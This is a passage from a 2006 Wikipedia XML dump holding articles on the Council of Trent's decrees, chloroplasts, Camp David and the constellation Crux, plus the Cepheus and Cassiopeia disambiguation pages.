The history of the council is divided into three distinct periods; from 1545 to 1549, from 1551 to 1552, and from 1562 to 1563. The last was the most important. The number of attending members in the three periods varied considerably. It increased toward the close, but never reached the number of the first ecumenical council at Nicaea, (which had 318 members), nor of the last of the Vatican (which numbered 764). The decrees were signed by 255 members, including four papal legates, two cardinals, three patriarchs, twenty-five archbishops, 168 bishops, two-thirds of them being Italians. Lists of the signers are added to the best editions of the decrees. The Italian and Spanish prelates were vastly preponderant in power and numbers. At the passage of the most important decrees not more than sixty prelates were present.

[[Image: Council Trent.jpg|frame|A session of the Council of Trent, from an ancient engraving]]

==Objects and general results==
The object of the council was twofold:

#To condemn the principles and doctrines of [[Protestantism]], and to define the doctrines of the Roman Catholic Church on all disputed points. It is true the emperor intended it to be a strictly general or truly ecumenical council, at which the Protestants should have a fair hearing. He secured, during the council's second period, 1551-52, an invitation, twice given, to the Protestants to be  present, and the council issued a letter of safe-conduct (thirteenth session) and offered them the right of discussion, but denied them a vote. [[Melanchthon]] and [[Johann Brenz]], with some other German Lutherans, actually started in 1552 on the journey to Trent. Brenz offered a confession, and Melanchthon, who got no farther than Nuremberg, took with him the ironic statement known as the ''Confessio Saxonica''. But the refusal to give to the Protestants the right to vote and the consternation produced by the success of Maurice in his campaign against Charles V. in 1552  effectually put an end to Protestant cooperation. 
#To effect a reformation in discipline or administration. This object had been one of the causes calling forth the reformatory councils, and had been lightly touched upon by the [[Fifth Council of the Lateran]] under [[Pope Julius II]] and [[Pope Leo X]]. The corrupt administration of the Church was one of the secondary causes of the Reformation. Twenty-five public sessions were held, but nearly half of them were spent in solemn formalities. The chief work was done in committees or congregations. The entire management was in the hands of the papal legate. The liberal elements lost out in the debates and voting. The council abolished some of the most notorious abuses, and introduced or recommended disciplinary reforms affecting the sale of [[indulgence]]s, the morals of convents, the education of the clergy, the non-residence of bishops (also bishops having plurality of benefices which was fairly common), and the careless  fulmination of censures, and forbade dueling. Although liberal evangelical sentiments were uttered by some of the members in favor of the supreme authority of the Scriptures, and justification by faith, no concession whatever was made to Protestantism. 
#The church's interpretation of the Bible was final. Any Christian who substituted his or her own interpretation was a heretic.
#Christians need faith and good works for salvation. They were not saved by faith alone, as [[Martin Luther]] argued.
#The Bible and Church tradition were equally powerful authorities for guiding Christian life. 
#[[Indulgences]] were valid expressions of faith. (But the false selling of indulgences was banned.)

The doctrinal decisions of the council are divided into decrees (''decreta''), which contain the positive statement of the Roman [[dogma]]s, and into short canons (''canones''), which condemn the dissenting Protestant views with the  concluding &quot;''anathema sit''&quot; (or let him/he is anathema).  They are stated with great clearness and precision. The decree on justification betrays special ability and theological circumspection.

==The canons and decrees==
The '''doctrinal''' acts are as follows: after reaffirming the [[Nicene Creed|Niceno-Constantinopolitan Creed]] (third session), the decree was passed (fourth session) confirming that the [[deuterocanonical books]] were on a par with the other books of the [[biblical canon|canon]] (against Luther's omission of these books in his translation) and coordinating church tradition with the Scriptures as a rule of faith. The [[Vulgate]] translation was affirmed to be authoritative for the
text of Scripture. 

[[Justification (theology)|Justification]] (sixth session) was declared to be offered upon the basis of faith and good works as opposed to the Protestant doctrine of faith alone, and faith was treated as a progressive work. The idea of man being utterly passive under the influence of [[divine grace|grace]] was also rejected.

The greatest weight in the Council's decrees is given to the [[sacrament]]s. The sacramental nature of the seven sacraments was affirmed and the [[Eucharist]] pronounced to be a true propitiatory sacrifice as well as a sacrament, in which the bread and wine were [[consecration|consecrated]] into the Eucharist (thirteenth and twenty-second sessions). The term [[transubstantiation]] was used by the Council, but the specific [[Aristotle|Aristotelian]] explanation given by [[Scholasticism]] was not cited as dogmatic. Instead, the decree states that [[Jesus|Christ]] is &quot;really, truly, substantially present&quot; in the consecrated forms. The sacrifice of the [[Roman Mass|Mass]] was to be offered for dead and living alike and in giving to the apostles the command &quot;do this in remembrance of me,&quot; Christ conferred upon them a sacerdotal power. The practice of withholding the cup from the laity was confirmed (twenty-first session) as one which the Church had commanded from of old for good and sufficient reasons; yet in certain cases the pope was made the supreme arbiter as to whether the rule should be strictly maintained.

[[Holy Orders|Ordination]] (twenty-third session) was defined to imprint an [[sacramental character|indelible character]] on the soul. The priesthood of the New Testament takes the place of the Levitical priesthood. To the performance of its functions, the consent of the people is not necessary.

In the decrees on marriage (twenty-fourth session) the excellence of the [[celibacy|celibate]] state was reaffirmed (see also [[clerical celibacy]]), concubinage condemned, and the validity of marriage made dependent upon its being performed before a priest and two witnesses. In the case of a [[divorce]] the right of the innocent party to marry again was denied so long as the other party is alive, even if the other may have committed adultery.

In the twenty-fifth and last session, the doctrines of [[purgatory]], the invocation of [[saint]]s, and the veneration of [[relic]]s were reaffirmed, as also the efficacy of indulgences as dispensed by the Church according to the power given her, but with some cautionary recommendations.

The council appointed, in [[1562]] (eighteenth session), a commission to prepare a list of forbidden books (''[[Index Librorum Prohibitorum|Index librorum prohibitorum]]''), but it later left the matter to the action of the pope. The preparation of a [[Roman Catechism|catechism]] and revised editions of the [[Breviary]] and [[Missal]] were also left to the pope.

On adjourning, the Council begged the supreme pontiff to ratify all its decrees and definitions. This petition was complied with by [[Pope Pius IV]], [[January 26]], [[1564]], in a bull which enjoins strict obedience upon all Roman Catholics, and forbids, under pain of [[excommunication]], all unauthorized interpretation, reserving this to the pope alone, and threatening the disobedient with &quot;the indignation of Almighty God and of his blessed apostles, Peter and Paul.&quot; Pope Pius appointed a commission of cardinals to assist him in interpreting and enforcing the decrees. 

The ''Index librorum prohibitorum'' was announced 1564, and the following books were issued with the papal [[imprimatur]]: the Profession of the Tridentine Faith and the [[Roman Catechism|Tridentine Catechism]] (1566), the Breviary (1568), the Missal (1570), and the [[Vulgate]] (1590, and then 1592). 

The decrees of the council were acknowledged in Italy, Portugal, Poland, and by the Roman Catholic princes of Germany at the diet of [[1566]]. [[Philip II of Spain]] accepted them for Spain, the Netherlands, and Sicily in so far as they did not infringe on the royal prerogative. In France they were officially recognized by the king only in their doctrinal parts. The disciplinary sections received official recognition at provincial synods and were enforced by the bishops. No attempt was made to introduce it into England. Pius IV sent the decrees to [[Mary I of Scotland|Mary, Queen of Scots]], with a letter dated [[June 13]], [[1564]], requesting her to publish them in Scotland, but she dared not do it in the face of [[John Knox]] and the Reformation.

These decrees were later supplemented by the [[First Vatican Council]] of [[1870]].

==Publication of documents==
The canons and decrees of the council have been published very often and in many languages (for a large list consult ''British Museum Catalogue'', under &quot;Trent, Council of&quot;). The first issue was by [[P. Manutius]] (Rome, 1564). The best Latin editions are by [[J. Le Plat]] (Antwerp, 1779), and by F. Schulte and [[A. L. Richter]] (Leipsig, 1853). Other good editions are in vol. vii. of the ''Acta et decreta conciliorum recentiorum. Collectio Lacensis'' (7 vols., Freiburg, 1870-90), reissued as independent volume (1892); ''Concilium Tridentinum: Diariorum, actorum, epastularum, ...  collectio'', ed. [[S. Merkle ]](4 vols., Freiburg, 1901 sqq.; only vols. i.-iv. have as yet appeared); not to overlook [[Mansi]], ''Concilia'', xxxv. 345 sqq. Note also [[Mirbt]], ''Quellen'', 2d ed, pp. 202-255. The best English edition is by [[J. Waterworth]] (London, 1848; ''With Essays on the External and Internal History of the Council''). 

The original acts and debates of the council, as prepared by its general secretary, Bishop [[Angelo Massarelli]], in six large folio volumes, are deposited in the [[Vatican Library]], and remained there unpublished for more than 300 years, and were brought to light, though only in part, by [[Augustin Theiner]], priest of the oratory (d. [[1874]]), in  ''Acta genuina sancti et oecumenici Concilii Tridentini nunc primum integre edita'' (2 vols., Leipzig, 1874). 

Most of the official documents and private reports, however, which bear upon the council, were made known in the sixteenth century and since. The most complete collection of them is that of J. Le Plat, ''Monumentorum ad historicam Concilii Tridentini collectio'' (7 vols., Leuven, 1781-87). New materials were brought to light by J. Mendham, ''Memoirs of  the Council of Trent'' (London,  1834-36), from the manuscript history of Cardinal Paleotto; more recently by T. Sickel, ''Actenstücke aus österreichischen Archiven'' (Vienna, 1872); by [[Johann Joseph Ignaz von Döllinger|JJI von Döllinger]] ''(Ungedruckte Berichte und Tagebücher zur Geschichte des Concilii von Trient)'' (2 parts, Nördlingen, 1876); and A. von Druffel, ''Monumenta Tridentina'' (Munich, 1884-97).

==List of dogmatic decrees==
{| cellpadding=&quot;4&quot;
|- style=&quot;font-weight:bold&quot;
|Doctrine	||Session	||Date	||Canons	||Decrees
|-
|[[Bible|The Holy Scriptures]]||	4||	[[April 8]], [[1546]]||	None||	1
|-
|[[Original sin]]||	5||[[June 7]], [[1546]]||	5||	4
|-
|[[Justification (theology)|Justification]]||	6||[[January 13]], [[1547]]||	33||	16
|-
|The [[Sacrament]]s in General||	7||[[March 3]], [[1547]]||	13||	1
|-
|[[Baptism]]||	7||[[March 3]], [[1547]]||	14||	None
|-
|[[Confirmation]]||	7||	[[March 3]], [[1547]]||	3||	None
|-
|Holy [[Eucharist]]||	13||[[October 11]], [[1551]]||	11||	8
|-
|[[Penance]]||	14||	[[November 15]], [[1551]]||	15||	15
|-
|[[Anointing of the Sick|Extreme Unction]]||	14||[[November 4]], [[1551]]||	4||	3
|-
|Holy Eucharist||	21||[[June 16]], [[1562]]||	4||	3
|-
|Holy Eucharist||	22||[[September 9]], [[1562]]||	9||	4
|-
|[[Holy Orders]]||	23||[[July 15]], [[1563]]||	8||	3
|-
|[[Matrimony]]||	24||[[November 11]], [[1563]]||	12||	1
|-
|[[Purgatory]]||	25||[[December 4]], [[1563]]||	None||	1
|-
|[[Cult (religion)|Cults]]: [[Saint]]s [[Relic]]s [[Iconoclasm|Images]]||	25||[[December 4]], [[1563]]||	None||	3
|-
|[[Indulgence]]s||	25||[[December 4]], [[1563]]||	None||	1
|}

==External links==
*[http://www.newadvent.org/cathen/15030c.htm A Catholic View of the Council from the Catholic Encyclopedia]

{{Schaff-Herzog}}

[[Category:Council of Trent|*]]

[[bg:Трентски събор]]
[[cs:Tridentský koncil]]
[[de:Konzil von Trient]]
[[es:Concilio de Trento]]
[[fr:Concile de Trente]]
[[it:Concilio di Trento]]
[[la:Concilium Tridentinum]]
[[nl:Concilie van Trente]]
[[ja:トリエント公会議]]
[[no:Konsilet i Trient]]
[[pl:Sobór trydencki]]
[[pt:Concílio de Trento]]
[[ro:Conciliul Tridentin]]
[[ru:Тридентский собор]]
[[fi:Trenton kirkolliskokous]]
[[sv:Tridentinska mötet]]</text>
    </revision>
  </page>
  <page>
    <title>Chloroplast</title>
    <id>6355</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41918125</id>
      <timestamp>2006-03-02T16:40:46Z</timestamp>
      <contributor>
        <ip>200.67.115.227</ip>
      </contributor>
      <comment>/* Origins */</comment>
      <text xml:space="preserve">[[Image:Chloroplastsfigure1.jpg|thumb|right|The inside of a chloroplast]]
'''Chloroplasts''' are [[organelle]]s found in [[plant]] [[cell (biology)|cells]] and [[eukaryote|eukaryotic]] [[alga]]e that conduct [[photosynthesis]].  Chloroplasts capture [[light]] [[energy]] from the [[sun]] to produce the [[free energy]] stored in [[Adenosine triphosphate|ATP]] and [[NADPH]] through a process called [[photosynthesis]].

==Origins==
Chloroplasts are one of the forms a [[plastid]] may take, and are generally considered to have originated as [[endosymbiotic theory|endosymbiotic]] [[cyanobacteria]]. In this respect they are similar to [[mitochondrion|mitochondria]], but are found only in [[plant]]s and [[protist]]a. Both organelles are surrounded by a double celled  composite membrane with an intermembrane space; both have their own [[DNA]] and are involved in energy metabolism; and both have reticulations, or many infoldings, filling their inner spaces. 

In green plants chloroplasts are surrounded by two [[cell membrane|lipid-bilayer membrane]]s.  The inner membrane is now thought to correspond to the outer membrane of the ancestral cyanobacterium.  The chloroplast genome is considerably [[genome reduction|reduced]] compared to that of free-living cyanobacteria, but the parts that are still present show clear similarities. Many of the missing genes are encoded in the nuclear genome of the plant, algae or protist.

It is interesting to note that in some algae (such as the [[heterokont]]s and other [[protist]]s such as [[Euglenozoa]] and [[Cercozoa]]), chloroplasts seem to have arisen through a secondary event of endosymbiosis, in which a eukaryotic cell engulfed a second eukaryotic cell containing chloroplasts, forming chloroplasts with three or four membrane layers. In some cases, such secondary [[endosymbiont]]s have themselves been engulfed by still other eukaryotes, forming tertiary endosymbionts.

==Structure==
[[Image:Chloroplast-new.jpg|thumb|right|The inside of a chloroplast with the granum circled.]]
The chloroplast has a two membrane envelope termed the Inner &amp; Outer membrane respectively. Between these two layers is the Intermembrane space.

The fluid within the chloroplast is called the [[stroma]], corresponding to the [[cytoplasm]] of the bacterium, and contains tiny circular DNA and [[ribosome]]s, though most of their proteins are encoded by genes contained in the cell nucleus, with the protein products trafficked to the chloroplast.  

Within the stroma are stacks of [[thylakoid]]s, the sub-organelles where photosynthesis actually takes place.  A stack of thylakoids is called a [[granum]].  A thylakoid looks like a flattened disk, and inside is an empty area called the thylakoid space or lumen.  The photosynthesis reaction takes place on the membrane of the thylakoid, and, as is also the case with mitochondria, involves the coupling of cross-membrane [[flux]]es with [[biochemistry|biosynthesis]].

==Biochemistry==
The photosynthetic proteins in the membrane bind [[chlorophyll]], which is present with various accessory [[pigment]]s. These give chloroplasts their green color.  During autumn, the removal of chlorophyll from plant leaves exposes red and yellow pigments (such as [[xanthophyll]]) which were previously masked.
Algal chloroplasts may be golden, brown, or red and show variation in the number of membranes and the presence of thylakoids.

Pigments undergo electronic excitations driven by the absorption of sunlight — red and blue for chlorophyll. The green we see is the color ''not'' absorbed. The energy released by the electronically-excited pigments as they return to their [[ground state]] is the basis for the energy captured by photosynthesis to produce ATP and NADPH and the ultimate formation of [[sugar]]s.  Energy of the absorbed photons not used to produce chemical energy is eventually given off to the surroundings. Thus, chloroplasts are small [[heat engine]]s operating between the hot light from the sun and the lower ambient molecular [[temperature]]. ([[Solar cell|Photovoltaic]] cells do likewise.)

==See also==
*[[Chloroplast membrane]]
:*[[Inner membrane]]
:*[[Outer membrane]]
*[[Calvin cycle]]

==References==
*{{NCBI-scienceprimer}}

==External links==
*[http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/C/Chloroplasts.html Chloroplasts] and [http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/L/LightReactions.html Photosynthesis: The Role of Light] from [http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/ Kimball's Biology Pages]
*[http://reference.allrefer.com/encyclopedia/C/chloropl.html Chloroplast, Botany]
*[http://www.pubmedcentral.nih.gov/articlerender.fcgi?tool=pubmed&amp;pubmedid=8041699 Use of chloroplast DNA in studying plant phylogeny and evolution]

{{organelles}}

[[Category:Organelles]]
[[Category:Photosynthesis]]

[[bg:Хлоропласт]]
[[ca:Cloroplast]]
[[da:Grønkorn]]
[[de:Chloroplast]]
[[es:Cloroplasto]]
[[eo:Kloroplasto]]
[[fa:سبزدیسه]]
[[fr:Chloroplaste]]
[[ko:엽록체]]
[[is:Grænukorn]]
[[it:Cloroplasto]]
[[he:כלורופלסט]]
[[lt:Chloroplastas]]
[[nl:Bladgroenkorrel]]
[[nds:Chloroplast]]
[[ja:葉緑体]]
[[pl:Chloroplast]]
[[pt:Cloroplasto]]
[[sr:Хлоропласт]]
[[tr:Kloroplast]]
[[zh:叶绿体]]</text>
    </revision>
  </page>
  <page>
    <title>Camp David</title>
    <id>6357</id>
    <revision>
      <id>39746209</id>
      <timestamp>2006-02-15T15:59:51Z</timestamp>
      <contributor>
        <ip>12.216.31.244</ip>
      </contributor>
      <comment>Remove the period from Harry S. Truman since the &quot;S' is his middle name.</comment>
      <text xml:space="preserve">[[Image:Camp David 30-0045a.gif|thumb|200px|right|Main Lodge at Camp David during [[Richard Nixon|Nixon administration]], [[February 9]], [[1971]].]]

The '''Naval Support Facility Thurmont''', popularly known as '''Camp David''', is the rustic 125-acre (0.5&amp;nbsp;km&amp;sup2;) mountain retreat of the [[President of the United States|President]] of the [[United States]]. Camp David is part of the [[Catoctin Mountain Park]] recreational area in [[Frederick County, Maryland|Frederick County]], [[Maryland]], outside [[Washington, D.C.|Washington]]. 

==Establishment==
Catoctin Mountain Park was originally submarginal land purchased by the [[Federal Government of the United States|U.S. government]] in [[1936]], to be developed into a recreational facility. The purpose of the land was to demonstrate how rough [[terrain]] and [[Soil erosion|eroded soil]] could be turned into productive land. 

[[Image:Camp David 24-0145a.gif|thumb|250px|left|[[Anwar Sadat]], [[Jimmy Carter]], and [[Menachem Begin]] meet on the Aspen Lodge patio on [[September 6]], [[1978]].]]

During the [[New Deal]] program of President [[Franklin D. Roosevelt]], the [[Works Progress Administration]] began the work in the newly created Catoctin Recreational Demonstration Area, joined by the [[Civilian Conservation Corps]] in [[1939]]. Camp Misty Mount was first used by the Maryland League for Crippled Children. After the first year ([[1937]]), the League moved to a second camp, Camp Greentop, because Camp Misty Mount's terrain was difficult to negotiate in a [[wheelchair]]. A third camp, '''Camp Hi-Catoctin''', was completed in the winter of [[1938]]-[[1939]] and was used for three years as a family camp for federal employees.

Roosevelt was accustomed to seeking relief from hot Washington summers and relaxing on weekends aboard the presidential [[yacht]] [[USS Potomac (AG-25)|''Potomac'']] or at his home in [[Hyde Park, New York|Hyde Park]], [[New York]]. In [[1942]], the [[United States Secret Service|Secret Service]] became concerned about the President's use of ''Potomac''. [[World War II]] had brought [[U-boat|U-boats]] of the ''[[Kriegsmarine]]'' (German War Navy) close to U.S. coastal waters in the [[Atlantic Ocean|Atlantic]]. Roosevelt's health was also a concern. The muggy climate of the Washington area was considered detrimental to his health, affecting his sinuses. A new retreat within a 100 mile (160 km) radius of the capital with cool mountain air was sought. 

[[Image:President Reagan and Prime Minister Margaret Thatcher at Camp David 1986.jpg|thumb|right|150px|[[Margaret Thatcher]] and [[Ronald Reagan]] at Camp David.]]

Several sites were considered but Camp Hi-Catoctin in the Catoctin Recreational Demonstration Area was selected after the President's first visit on [[April 22]], [[1942]]. A camp was already built on the site and the estimated conversion cost was $18,650. It was also almost 10 Fahrenheit degrees (5 Celsius degrees) cooler than Washington. Roosevelt quickly renamed the camp to '''[[Shangri-La]]''' from [[James Hilton]]'s 1933 novel, ''[[Lost Horizon]]''.

==Post-World War II era==
At the close of World War II, there was some debate over the future of Shangri-La. Should it be returned to the [[National Park Service]]? Should it be maintained as a national shrine or monument? Should it be transferred to the Maryland State Forest and Park System as was the original plan of the demonstration area? In a letter to Maryland Governor [[Herbert R. O'Conor]], President [[Harry S Truman]] wrote:

:''I have decided because of the historical events of national and international interest now associated with the Catoctin Recreation Area that this property should be retained by the National Park Service of the Department of the Interior. This action is in accord with the position expressed by the late President Roosevelt before his death''.

[[Image:Camp David 29-0054a.gif|thumb|200px|left|George H.W. Bush meets with his National Security advisors in the Aspen Lodge conference room on [[August 4]], [[1990]].]]

In [[1952]] Truman approved a compromise under which the land north of Maryland Route 77 would remain Catoctin Mountain Park operated by the National Park Service and the land south of Maryland Route 77 would become Cunningham Falls State Park. The official transfer took effect in 1954. President [[Dwight Eisenhower]] renamed the retreat '''Camp David''' for his grandson after he took office in 1953.  

==Notable events at Camp David==
Camp David has often been used for formal and informal discussion between [[United States]] and world leaders. Probably most famous is the summit that led to the peace agreement between president [[Anwar Sadat]] of [[Egypt]] and prime minister [[Menachem Begin]] of [[Israel]] that was forged at Camp David in [[1978]] with U.S. President [[Jimmy Carter]], known as the [[Camp David Accords (1978)]], now also called &quot;Camp David I.&quot;

[[Image:Camp David 4 p37126-25a-515h.jpg|thumb|200px|right|George W. Bush meets with his advisors at Camp David on [[January 17]], [[2004]], while preparing for his [[State of the Union address]].]]

In [[2000]] there were also the failed discussions on the resolution of the [[Israeli-Palestinian conflict]] at the summit meeting between U.S. President [[Bill Clinton]], [[PLO]] Chairman [[Yasser Arafat]] and Israeli prime minister [[Ehud Barak]] known as the [[Camp David 2000 Summit]] or &quot;Camp David II.&quot;

==Modern usage==
Camp David continues to serve as the Presidential Retreat today. It is a private, secluded place for recreation, contemplation, rest, and relaxation. Many historical events have occurred at the Presidential Retreat; the planning of the [[Normandy invasion]], Eisenhower-Khrushchev meetings, discussions of the [[Bay of Pigs]], [[Vietnam War]] discussions, and many other meetings with foreign dignitaries and guests. Maintaining the privacy and secluded atmosphere of the retreat is an important role for Catoctin Mountain Park. The Presidential Retreat still remains within park boundaries but is not open to the public. It is a place where Presidents can relax, unwind, or entertain distinguished guests in an informal setting.

==See also==
*[[Chequers]], the official country residence of the [[Prime Minister of the United Kingdom]]

[[Category:Executive Branch of the United States Government]]
[[Category:Frederick County, Maryland]]
[[Category:Official residences in the United States]]
[[Category:Houses in the United States]]
[[Category:Works Progress Administration]]

[[bg:Кемп Дейвид]]
[[da:Camp David]]
[[de:Camp David]]
[[fr:Camp David]]
[[id:Camp David]]
[[he:קמפ דייוויד]]
[[nl:Camp David]]
[[ja:キャンプ・デービッド]]
[[no:Camp David]]
[[pl:Camp David (Maryland)]]
[[fi:Camp David]]</text>
    </revision>
  </page>
  <page>
    <title>Crux</title>
    <id>6359</id>
    <revision>
      <id>41993821</id>
      <timestamp>2006-03-03T02:31:06Z</timestamp>
      <contributor>
        <ip>64.12.116.202</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Crux |
abbreviation = Cru |
genitive = Crucis |
symbology = Cross |
RA = 12 |
dec= &amp;minus;60 |
areatotal = 68 |
arearank = 88th |
numberstars = 4 |
starname = [[Alpha Crucis|Acrux]] (α Cru) |
starmagnitude = 0.87 |
meteorshowers =
*[[Crucids]] |
bordering =
*[[Centaurus]]
*[[Musca]] |
latmax = 20 |
latmin = 90 |
month = May |
notes=}}
{{Redirect|Southern Cross}}
'''Crux''', being [[Latin]] for ''[[cross]]'', commonly known as the '''Southern Cross''' (in contrast to the [[Cygnus (constellation)|Northern Cross]]), is [[List of constellations by area|the smallest]] of the 88 modern [[constellation|constellations]], but nevertheless one of the most distinctive. It is surrounded on three sides by the constellation [[Centaurus]] while to the south lies the ''Fly'' ([[Musca]]). Crux was originally thought of by ancient [[Greece|Greeks]] as part of [[Centaurus]], but was defined as a separate [[asterism (astronomy)|asterism]] in the 16th Century after [[Amerigo Vespucci]]'s expedition to [[South America]] in [[1501]]. Vespucci mapped the two [[star]]s, [[Alpha Centauri]] and [[Beta Centauri]] as well as the stars of the Crux. Although these stars were known to the ancient [[Greece|Greeks]], gradual [[precession]] had lowered them below the [[Europe|European]] skyline so that they were forgotten.


== Notable features ==
With the lack of a significant [[north star|pole star]] in the [[celestial sphere|southern sky]] ([[Sigma Octantis]] is closest to the pole, but is so faint as to be useless for the purpose), two of the stars of Crux (Alpha and Gamma, [[Acrux]] and [[Gacrux]] respectively) are commonly used to mark south. Following the line defined by the two stars for approximately 4.5 times the distance between them leads to a point close to the Southern Celestial Pole.

Alternatively, if a line is constructed perpendicularly between [[Alpha Centauri]] and [[Beta Centauri]], the point where the above line and this line intersect marks the Southern Celestial Pole. The two stars are often referred to as the &quot;Pointer Stars&quot;, allowing people to easily find the top of Crux.

Contrary to some people's belief, it is not opposite [[Ursa Major]]. In fact, in tropical regions both Crux (low in the South) and Ursa Major (low in the North) can be in the sky from April to June. It is exactly opposite [[Cassiopeia (constellation)|Cassiopeia]] on the celestial sphere, and therefore cannot be in the sky with the latter at the same time. For locations south of 34&amp;deg; southern latitude Crux is always completely in the sky.

== Other names for crux ==

In Ancient Hindu Astrology, what is referred to as 'trishanku' is the modern 'crux'. The Maori name for crux is &quot;Te Punga&quot; - &quot;the anchor&quot;. It is thought of as anchor of Tama-rereti's waka/canoe (the Milky Way), where the Pointers are its rope.

== Notable deep sky objects ==
The [[Coalsack Nebula]] is the most prominent [[dark nebula]] in the skies, well visible to the naked eye as big dark patch in the southern [[Milky Way]].

Another [[deep sky object]] within Crux is the [[Open Cluster]] [[Open Cluster NGC 4755|NGC 4755]], better known as the [[Jewel Box]] or [[Kappa Crucis Cluster]], that was discovered by [[Nicolas Louis de Lacaille]] in 1751-1752. It lies at a distance of about 7,500 [[light year]]s and consists of approximately 100 stars spread across an area of about 20 light-years square.

== History ==
[[Image:Southern cross appearing on a number of flags.PNG|thumb|The Southern Cross appearing on a number of flags]]
Due to [[precession]] of the [[equinox]] the stars comprising Crux were visible from the [[Mediterranean]] area in [[Classical antiquity|antiquity]], so their stars had to be known by [[Greeks|Greek]] astronomers. However, it was not regarded as a constellation of its own, but rather as part of [[Centaurus]].

The ''invention'' of Crux as a separate constellation is generally attributed to the French astronomer [[Augustin Royer]] in [[1679]]. It was known in that shape well before that, however.

The five brightest [[star]]s of Crux ([[Alpha Crucis|&amp;alpha;]], [[Beta Crucis|&amp;beta;]], [[Gamma Crucis|&amp;gamma;]], [[Delta Crucis|&amp;delta;]], and [[Epsilon Crucis|&amp;epsilon;]] Crucis) appear on the flags of [[flag of Australia|Australia]], [[flag of Brazil|Brazil]], [[flag of New Zealand|New Zealand]] (epsilon omitted), [[Papua New Guinea]], and [[Samoa]], and also the Australian States and Territories of [[flag of Victoria|Victoria]], the [[flag of Australian Capital Territory|Australian Capital Territory]], the [[flag of Northern Territory|Northern Territory]], as well as the flag of [[Magallanes Region of Chile]], and several [[Argentine]] provincial flags and emblems. The flag of the [[Mercosur]] trading zone displays the four brightest stars (epsilon omitted).  Crux also appears on the Brazilian [[Brazil|coat of arms]]. A stylized version of Crux appears on the [[Eureka Flag]]. The constellation was also used on the dark blue, shield-like patch worn by personnel of the U.S. Army's [[Americal Division]], which was organized in the Southern Hemisplere, on the island of [[New Caledonia]], and also the blue diamond of the U.S. [[1st Marine Division]], which fought on the Southern Hemisphere islands of [[Guadalcanal]] and [[New Britain]].

A stone image of the constellation has also been left at the archaelogical site of [[Machu Picchu]], [[Peru]].

==Stars==

:Stars with proper names:
:* (&amp;alpha;&lt;sup&gt;1,2&lt;sup&gt; Cru) &amp;ndash; 0.87 (double 1.3, 1.73) '''[[Acrux]]'''
:* (&amp;beta; Cru) 1.25 '''[[Becrux]]''' or '''Mimosa'''
:* (&amp;gamma; Cru) &amp;ndash; double 1.59, 6.42 '''[[Gacrux]]'''
:* (&amp;delta; Cru) 2.79; '''[[Decrux]]''' [''Delcrux'']
:Stars with Bayer designations:
:: [[Epsilon Crucis|&amp;epsilon; Cru]] 3.59; [[Zeta Crucis|&amp;zeta; Cru]] 4.06; [[Theta1 Crucis|&amp;theta;&lt;sup&gt;1&lt;/sup&gt; Cru]] 4.32; [[Theta2 Crucis|&amp;theta;&lt;sup&gt;2&lt;/sup&gt; Cru]] 4.72; [[Eta Crucis|&amp;eta; Cru]] 4.14; [[Iota Crucis|&amp;iota; Cru]] 4.69; [[Kappa Crucis|&amp;kappa; Cru]] 5.89; [[Lambda Crucis|&amp;lambda; Cru]] 4.62; [[Mu1 Crucis|&amp;mu;&lt;sup&gt;1&lt;/sup&gt; Cru]] 4.03; [[Mu2 Crucis|&amp;mu;&lt;sup&gt;2&lt;/sup&gt; Cru]] 5.08
:Other notable stars:
:* [[HD 108147]] 7.00 &amp;ndash; has a planet

==External links, References==
* [http://nla.gov.au/nla.ms-ms7860 Letter of Andrea Corsali 1516-1989: with additional material] (&quot;the first description and illustration of the Southern Cross, with speculations about Australia ...&quot;) digitised by the National Library of Australia.
* [http://www.allthesky.com/constellations/crux/ The Deep Photographic Guide to the Constellations: Crux].
* ''The Cambridge Guide to the Constellations'', Michael E. Bakich, Cambridge University Press, 1995, pg. 85.
*''[[Universe (book)|Universe: The Definitive Visual Dictionary]]'', Robert Dinwiddie, DK Adult Publishing, (2005), pg. 396.


{{ConstellationList}}

&lt;br clear=&quot;all&quot; /&gt;
{{Commons|Crux}}

[[Category:Crux constellation| ]]
[[Category:National_symbols]]

[[af:Crux]]
[[ca:Creu del Sud]]
[[da:Sydkorset]]
[[de:Kreuz des Südens]]
[[es:Crux]]
[[eo:Suda Kruco (konstelacio)]]
[[fr:Croix du Sud]]
[[ga:An Chros]]
[[ko:남십자자리]]
[[id:Crux]]
[[it:Crux]]
[[he:הצלב הדרומי]]
[[la:Crux (sidus)]]
[[lt:Pietų Kryžius]]
[[hu:Dél Keresztje (csillagkép)]]
[[nl:Zuiderkruis]]
[[ja:みなみじゅうじ座]]
[[nn:Sørkrossen]]
[[pl:Krzyż Południa (gwiazdozbiór)]]
[[pt:Crux]]
[[ru:Южный Крест (созвездие)]]
[[sk:Súhvezdie Južný kríž]]
[[fi:Etelän risti]]
[[sv:Södra korset]]
[[th:กลุ่มดาวกางเขนใต้]]
[[vi:Nam Thập Tự]]
[[zh:南十字座]]</text>
    </revision>
  </page>
  <page>
    <title>Cepheus</title>
    <id>6360</id>
    <revision>
      <id>34624814</id>
      <timestamp>2006-01-10T16:09:00Z</timestamp>
      <contributor>
        <username>Tijawi</username>
        <id>738620</id>
      </contributor>
      <text xml:space="preserve">'''Cepheus''' ([[Greek language|Greek]] for ''gardener'') may refer to:
*'''Cepheus''', King of [[Ethiopia]] in [[Greek mythology]]. ''See'' [[Cepheus, King of Aethiopia]] and [[Boast of Cassiopeia]].
*'''Cepheus''', King of [[Tegea]] in [[Greek mythology]].
*'''[[Cepheus (constellation)|Cepheus]]''', one of the 88 modern [[constellation]]s.

{{dab}}

[[bg:Цефей]]
[[de:Kepheus (Äthiopien)]]
[[es:Cefeo]]
[[it:Cepheus]]
[[pt:Cepheus]]
[[ru:Кефей]]
[[sk:Kefeus]]</text>
    </revision>
  </page>
  <page>
    <title>Cassiopeia</title>
    <id>6361</id>
    <revision>
      <id>38754723</id>
      <timestamp>2006-02-08T12:16:25Z</timestamp>
      <contributor>
        <username>Samsara</username>
        <id>19527</id>
      </contributor>
      <comment>+Michael Ende character</comment>
      <text xml:space="preserve">'''Cassiopeia''' can refer to:
* [[Cassiopeia (mythology)]] (or Casseipeia), a queen of Aethiopia in Greek mythology.  See also [[Boast of Cassiopeia]].
* [[Cassiopeia (constellation)|Cassiopeia]], a northern constellation representing the queen.
* [[Cassiopeia_Train|Cassiopeia]], the name of an overnight rail service in Japan.
